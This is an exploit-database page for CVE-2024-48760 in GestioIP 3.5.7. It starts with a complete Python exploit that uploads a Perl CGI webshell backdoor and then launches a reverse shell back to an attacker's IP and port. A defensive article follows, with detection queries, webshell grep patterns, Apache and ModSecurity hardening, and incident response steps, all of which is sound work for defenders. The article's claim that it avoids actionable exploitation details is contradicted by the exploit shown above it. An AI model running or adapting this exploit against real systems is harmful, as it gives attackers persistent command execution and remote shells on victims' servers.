GestioIP 3.5.7 - Remote Command Execution (RCE)

Exploit Author: Maximiliano Belino Analysis Author: www.bubbleslearn.ir Category: Remote Language: Python Published Date: 2025-04-14

# Exploit Title: GestioIP 3.5.7 - Remote Command Execution (RCE)
# Exploit Author: m4xth0r (Maximiliano Belino)
# Author website: https://maxibelino.github.io/
# Author email (max.cybersecurity at belino.com)
# GitHub disclosure link: https://github.com/maxibelino/CVEs/tree/main/CVE-2024-48760
# Date: 2025-01-13
# Vendor Homepage: https://www.gestioip.net/
# Software Link: https://www.gestioip.net/en/download/
# Version: GestioIP v3.5.7
# Tested on: Kali Linux
# CVE: CVE-2024-48760

import requests
import sys

# Config
username = "gipadmin"
password = "PASSWORD"
domain = "localhost"
local_ip = "10.20.0.1"
local_port = 443
target_url = f"http://{domain}/gestioip/api/upload.cgi"

# CGI Backdoor Perl
backdoor_code = """#!/usr/bin/perl -w

use strict;

print "Cache-Control: no-cache\\n";
print "Content-type: text/html\\n\\n";

my $req = $ENV{QUERY_STRING};
chomp ($req);
$req =~ s/%20/ /g; 
$req =~ s/%3b/;/g;
$req =~ s/%7c/|/gi;
$req =~ s/%27/'/g;
$req =~ s/%22/"/g;
$req =~ s/%5D/]/g;
$req =~ s/%5B/[/g;

print "<html><body>";
print '<!-- CGI backdoor -->';

if (!$req) {
    print "Usage: http://domain/gestioip/api/upload.cgi?whoami";
} else {
    print "Executing: $req";
}

print "<pre>";
my @cmd = `$req`;
print "</pre>";

foreach my $line (@cmd) {
    print $line . "<br/>";
}

print "</body></html>";
"""

# Exploit functions
def upload_file(session, file_name, file_data):
    """Uploads the file to the server"""
    files = {
        'file_name': (None, file_name),
        'leases_file': (file_name, file_data)
    }
    response = session.post(target_url, files=files)
    if "OK" not in response.text:
        print(f"[!] Error uploading {file_name}.")
        sys.exit(1)
    return response

def run_command(session, cmd):
    """Execute a command in the server through the vuln"""
    url = target_url + '?' + cmd
    resp = session.get(url)
    print(resp.text)

def backdoor_exists(session):
    """Verifies if backdoor is already uploaded or not"""
    response = session.get(target_url + "?whoami")
    if "www-data" in response.text:
        return True  # backdoor already uploaded
    return False  # backdoor not uploaded yet

if __name__ == '__main__':
    with requests.Session() as session:
        session.auth = (username, password)

        # Verify if backdoor is already uploaded
        if not backdoor_exists(session):
            print("\n[!] Uploading backdoor...\n")
            upload_file(session, 'upload.cgi', backdoor_code)
        else:
            print("\n[+] Backdoor already uploaded. Continue...\n")

        # Execute the reverse shell
        print("\n[!] Executing reverse shell...\n")
        reverse_shell_cmd = f'python3 -c "import socket, subprocess, os; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((\'{local_ip}\', {local_port})); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); p=subprocess.call([\'/bin/sh\', \'-i\']);"'
        run_command(session, reverse_shell_cmd)

GestioIP 3.5.7 — Remote Command Execution (CVE-2024-48760): Overview, Impact, and Mitigation

GestioIP is an open-source IP address management (IPAM) solution. In early 2025 a remote command execution (RCE) vulnerability identified as CVE-2024-48760 was disclosed affecting GestioIP v3.5.7. This article summarizes the vulnerability at a high level, explains real-world impact scenarios, and — most importantly — provides comprehensive, practical defensive guidance, detection recipes, and mitigation steps for system owners, operators, and incident responders.

What the vulnerability is (high-level)

The issue in GestioIP v3.5.7 allows an authenticated (and in some deployments an unauthenticated) attacker to send crafted input to an upload endpoint so that the server executes arbitrary commands. The result is full remote command execution under the privileges of the web process (typically www-data or apache). This is a classic web application file-handling / input-validation flaw combined with unsafe execution semantics on the server side.

Why this matters

RCE gives an attacker the ability to run arbitrary shell commands on the host.
Compromise can lead to data theft (IPAM data), lateral movement, persistence backdoors, or full host takeover, depending on privileges.
GestioIP is often deployed in network-management zones that have visibility into many critical systems, increasing risk if compromised.

Attribution and timeline

Public disclosure by the researcher was published in January 2025 (disclosure reference: GitHub/CVE-2024-48760). If you operate GestioIP, treat this as a high-priority vulnerability: confirm your versions and apply recommended mitigations immediately.

Affected versions

Product	Version	Status
GestioIP	3.5.7	Vulnerable (CVE-2024-48760)
GestioIP	>= vendor patched release	Check vendor advisory / release notes

Safe high-level description of exploitation (non-actionable)

Exploitation leverages an upload interface to place a server-side executable/script into a web-accessible location and then triggers it with specially crafted input so that the server executes arbitrary commands. Because the details of the exploit can be used maliciously, this article intentionally avoids step-by-step exploitation guidance and focuses on detection, mitigation, and remediation.

Detection: how to find signs of compromise or attempted exploitation

1) Web access logs

Monitor webserver logs for unusual requests to upload endpoints and for HTTP requests that contain suspicious payloads (long query strings, embedded shell characters, or requests that reference executable file uploads).

index=web sourcetype=access_combined "POST" "/gestioip/api/upload.cgi" | stats count by src_ip, user_agent, http_status

This Splunk example finds POSTs to the upload endpoint and aggregates by source IP and user-agent. Use a similar query in your SIEM (Elastic, Splunk, QRadar) to identify anomalous clients and volumes.

2) File-system and process indicators

Look for unexpected files with executable permissions in web document roots and for new processes running under the web user that shouldn't be present.

find /var/www -type f -name '*.cgi' -o -perm /111 -mtime -7 -ls

This command lists newly modified executable files in the web tree. Restrict searches to the GestioIP installation directory if known. Use such searches only for remediation and verification; do not use them to attempt exploitation.

3) Webshell/backdoor indicators

Search for unusual HTTP GET patterns that might attempt to invoke server-side scripts with command parameters, and scan for files containing suspicious function calls or patterns (for example, system/exec/` backticks`/perl backdoors).

grep -R --line-number -E "system\(|exec\(|`.*`|perl -w" /var/www/gestioip || true

These heuristic searches can produce false positives; review results manually. The goal is to detect server-side scripts uploaded after the last known good baseline.

Mitigation and hardening (recommended immediate and long-term actions)

Immediate actions — first 24–72 hours

Isolate any suspected compromised hosts from the network (or at least from sensitive internal networks) to prevent lateral movement.
Rotate credentials and API keys that may be stored or accessible via the compromised service.
Block public access to the GestioIP web interface unless necessary — consider IP allowlists, VPN-only access, or port filtering at the firewall.
Apply vendor-supplied patches as soon as they are available. If a vendor patch is available, prioritise patching over mitigations.

Configuration and platform hardening

Run the web server with the least privileges (non-root, minimal filesystem rights). Review file system ownership for application directories.
Disable execution in upload directories:

<Directory "/var/www/gestioip/api">
    Options -ExecCGI
    AllowOverride None
</Directory>

This Apache snippet disables ExecCGI for the API directory so that uploaded files cannot be executed as CGI scripts by the web server. Adjust paths to match your installation. If you use nginx, ensure it is not configured to pass arbitrary files to an interpreter.

Remove or restrict any management endpoints (e.g., /gestioip/api/upload.cgi) to trusted networks only via firewall, VPN, or reverse-proxy access controls.
Set strict upload handling: verify MIME types, validate/normalize filenames, store uploads outside the webroot, and do not use user-supplied names when saving files.
Ensure PHP/Perl/Python interpreters are not automatically invoked for uploaded content. Configure webserver to serve uploaded files as static content only.

Web Application Firewall (WAF) & blocking

A WAF can provide a fast mitigation layer that blocks obvious exploitation attempts. The rule below is an example defensive measure that blocks requests to the upload endpoint. This is intended as a short-term protective policy while applying patches — test before deploying.

SecRule REQUEST_URI "@beginsWith /gestioip/api/upload.cgi" \
  "id:100001,phase:1,deny,log,msg:'Block access to GestioIP upload endpoint (prevent RCE exploit)'"

This ModSecurity rule denies requests whose URI begins with the vulnerable upload endpoint. Adapt rule IDs and policy placement to your environment. A WAF should not be the only mitigation — apply fixes at the application level.

Developer and vendor guidance (how to fix the root cause safely)

Do not treat uploaded content as trusted input. Never pass user-supplied strings to system() calls, eval(), or backticks without strict sanitization.
Validate and normalize filenames; enforce allow-lists for file extensions and MIME types.
Save uploads outside of the webroot and serve them through a controlled, non-executable handler.
Use prepared libraries or frameworks for file handling that abstract away dangerous operations.
Implement thorough logging and monitoring around administrative upload endpoints and file operations.

Incident response checklist

Snapshot the host (memory + disk) for forensic analysis before rebooting or making major changes.
Collect webserver logs, authentication logs, and system logs for the relevant time window.
Search for indicators described above (new files, unusual process activity, outbound connections from the host).
Rotate all credentials that may have been exposed: local admin accounts, API keys, service account passwords.
Restore from a known-good backup if full remediation requires reinstallation. Rebuild the host if you cannot guarantee eradication of persistence mechanisms.

Example detection recipes and monitoring queries

Elastic/Elasticsearch (sample DSL) — detect POSTs to upload endpoint

{
  "query": {
    "bool": {
      "must": [
        { "match": { "http.request.method": "POST" }},
        { "match_phrase": { "url.path": "/gestioip/api/upload.cgi" }}
      ]
    }
  }
}

This sample query for Elastic (Kibana) identifies POST requests to the vulnerable upload endpoint. Tune time ranges, indices, and field names as appropriate for your environment.

Host-based integrity: detect new CGI files

#!/bin/bash
# find new executable files in webroot modified in the last 7 days
find /var/www/gestioip -type f -perm /111 -mtime -7 -print

Use this script or equivalent host-based checks in your configuration management/orchestration tooling to detect new executable files in application directories. Schedule as a cron job and pipe output to monitoring/alerting systems.

Recommended long-term actions

Upgrade to a vendor-patched release as soon as available; track vendor advisories and CVE updates.
Conduct regular code reviews and security testing (SAST/DAST) on administrative features and file upload handlers.
Adopt network segmentation: place IPAM tools on a management network that is not directly exposed to the public internet.
Implement multi-factor authentication for administrative accounts and enforce strong password policies.
Maintain and test incident response and recovery runbooks for critical infrastructure components like IPAM systems.

Closing note

CVE-2024-48760 is a critical vulnerability because it enables RCE in a network-facing management application. If you operate GestioIP 3.5.7, treat this as high priority: isolate affected hosts where possible, deploy WAF rules or access restrictions immediately, perform comprehensive detection and forensic steps, and patch or upgrade to the vendor-supplied fix as soon as it is available. The mitigations and detection recipes above are designed to help defenders rapidly reduce risk and detect potential exploitation without providing actionable exploitation details.